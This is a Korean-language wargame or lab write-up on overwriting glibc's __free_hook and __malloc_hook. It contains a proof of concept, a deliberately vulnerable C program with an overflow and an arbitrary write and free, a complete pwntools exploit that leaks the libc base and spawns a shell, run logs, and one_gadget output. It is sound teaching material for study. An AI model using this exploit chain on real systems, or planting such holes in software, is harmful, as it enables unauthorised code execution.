C언어에서 메모리의 동적 할당과 해제를 담당하는 함수에는 대표적으로 malloc, free, realloc이 있습니다.
이 함수들은 libc.so에 구현되어 있고 libc 에는 이 함수들의 디버깅 편의를 위해 훅 변수가 저장되어 있습니다.
malloc 함수를 봐보면
// __malloc_hook
void *__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;
void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook); // malloc hook read
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0)); // call hook
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);
// ...
}
__malloc_hook 변수의 값이 NULL인지 아닌지 검사하고 NULL이 아니면 malloc을 수행하기 전에 __malloc_hook이 가리키는 함수를 먼저 실행합니다. 이때 malloc의 인자는 훅 함수에 전달됩니다.
free와 realloc에도 각각 __free_hook, __realloc_hook이라는 변수가 있습니다.
만약 이 인자 값을 수정할 수 있다면 __malloc_hook을 system 함수로 덮어쓰고 인자 값을 "/bin/sh"로 수정해서 쉘을 띄울 수 있을 거 같습니다.
한번 인자값을 수정할 수 있나 확인해보면
ubuntu@DESKTOP-DENGS1H:~$ readelf -s /lib/x86_64-linux-gnu/libc-2.27.so | grep -E "__malloc_hook|__free_hook|__realloc_hook"
222: 00000000003ed8e8 8 OBJECT WEAK DEFAULT 35 __free_hook@@GLIBC_2.2.5
1134: 00000000003ebc30 8 OBJECT WEAK DEFAULT 34 __malloc_hook@@GLIBC_2.2.5
1547: 00000000003ebc28 8 OBJECT WEAK DEFAULT 34 __realloc_hook@@GLIBC_2.2.5
ubuntu@DESKTOP-DENGS1H:~$ readelf -S /lib/x86_64-linux-gnu/libc-2.27.so | grep -A 1 "\.bss"
[35] .bss NOBITS 00000000003ec860 001ec860
0000000000004280 0000000000000000 WA 0 0 32
인자들이 bss 영역에 위치해서 인자 값을 수정할 수 있습니다.
malloc, free, realloc에는 각각에 대응되는 훅 변수가 존재하고 해당 변수들은 bss 영역에 존재해서 값을 덮어쓸 수 있습니다.
그리고 훅이 실행될 때 기존 함수 인자를 같이 전달해주기 때문에, __malloc_hook을 system 함수 주소로 덮고 malloc("/bin/sh")를 호출하여 쉘을 획득 할 수 있습니다.
한번 해보면
/ Name: fho-poc.c
// Compile: gcc -o fho-poc fho-poc.c
#include <malloc.h>
#include <stdlib.h>
#include <string.h>
const char *buf="/bin/sh";
int main() {
printf("\"__free_hook\" now points at \"system\"\n");
__free_hook = (void *)system;
printf("call free(\"/bin/sh\")\n");
free(buf);
}
kali@kali ~/dreamhack/Bypass_PIE_RELRO/Hook_Overwrite ./fho-poc
"__free_hook" now points at "system"
call free("/bin/sh")
$ ls
fho-poc fho-poc.c peda-session-fho-poc.txt
쉘이 뜨고 명령어들이 정상적으로 처리됩니다.
// Name: fho.c
// Compile: gcc -o fho fho.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitrary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
read(0, buf, 0x100) 에서 버퍼 오버플로우가 발생합니다.
scanf("%llu", &addr), scanf("%llu", &value)에서 주소와 값을 입력하고 *addr = value를 통해 해당 주소에 값을 쓸 수 있습니다.
scanf("%llu", &addr)에서 주소를 입력하고 free(addr)로 그 주소의 메모리를 해제할 수 있습니다.
보호 기법을 봐보면
ubuntu@DESKTOP-DENGS1H:~$ checksec fho
[*] '/home/ubuntu/fho'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
모든 방어기법이 걸려있습니다.
[1] 스택의 어떤 값을 읽을 수 있다.
[2] 임의 주소에 임의 값을 쓸 수 있다.
[3] 임의 주소를 해제할 수 있다.
1. 라이브러리의 변수 및 함수들의 주소 구하기
[1] 을 이용해서 libc_base 주소를 구합니다.
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdea0 --> 0x0
0008| 0x7fffffffdea8 --> 0x7ffff7dfc7fd (<__libc_start_main+205>: mov edi,eax)
0016| 0x7fffffffdeb0 --> 0x7fffffffdf98 --> 0x7fffffffe2f5 ("/home/kali/dreamhack/Bypass_PIE_RELRO/Hook_Overwrite/fho")
0024| 0x7fffffffdeb8 --> 0x1f7fca000
0032| 0x7fffffffdec0 --> 0x555555555189 (<main>: push rbp)
0040| 0x7fffffffdec8 --> 0x7fffffffe2d9 --> 0x54e475bb3b07ca95
0048| 0x7fffffffded0 --> 0x555555555310 (<__libc_csu_init>: push r15)
0056| 0x7fffffffded8 --> 0xa0652424ecb0093d
[------------------------------------------------------------------------------]
2. 쉘 흭득
[2]에서 __free_hook의 값을 system 함수의 주소로 덮고
[3]에서 "/bin/sh"를 해제하면 system("bin/sh")가 호출되어 쉘을 흭득 할 수 있습니다.
1. 라이브러리의 변수 및 함수들의 주소 구하기
main 함수의 Return Address인 libc_start_main을 읽은 다음 GDB에서 읽은 __libc_start_main+205를 빼면 libc_base를 구할 수 있습니다.
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = process("./fho")
e = ELF("./fho")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.log_level = 'debug'
# [1] Leak libc base
buf = b'A'*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1]+b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 205)
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
slog("libc_base", libc_base)
slog("system", system)
slog("free_hook", free_hook)
slog("/bin/sh", binsh)
$ python3 exploit.py
[+] Starting local process './fho': pid 137
[*] '/home/ubuntu/fho'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] libc_base: 0x7f1eb8800000
[+] system: 0x7f1eb884f420
[+] free_hook: 0x7f1eb8bed8e8
[+] /bin/sh: 0x7f1eb89b3d88
2. 쉘 흭득
구한 __free_hook, system 함수, "/bin/sh" 문자열의 주소를 이용하면 쉘을 흭득할 수 있습니다.
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = process("./fho")
e = ELF("./fho")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.log_level = 'debug'
# [1] Leak libc base
buf = b'A'*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1]+b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 205)
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
slog("libc_base", libc_base)
slog("system", system)
slog("free_hook", free_hook)
slog("/bin/sh", binsh)
# [2] Overwrite free_hook with system
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(system))
# [3] Exploit
p.recvuntil("To free: ")
p.sendline(str(binsh))
p.interactive()
$ python3 exploit.py
[+] Starting local process './fho': pid 137
[*] '/home/ubuntu/fho'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] libc_base: 0x7f1eb8800000
[+] system: 0x7f1eb884f420
[+] free_hook: 0x7f1eb8bed8e8
[+] /bin/sh: 0x7f1eb89b3d88
[*] Switching to interactive mode
$
one_gadget은 실행하면 쉘이 흭득되는 코드 뭉치를 말합니다. 함수에 인자를 전달하기 어려울 때 유용하게 사용될 수 있습니다.
예를 들어 __malloc_hook을 덮어쓸 수 있는데, malloc을 호출할 때 인자를 검사해서 "/bin/sh"를 인자로 전달하기 어렵다면
제약조건을 만족하는 one_gadget을 이용해서 쉘을 흭득할 수 있습니다.
$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
/var/lib/gems/2.5.0/gems/one_gadget-1.8.1/lib/one_gadget/helper.rb:261: warning: Insecure world writable dir /mnt/c in PATH, mode 040777
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL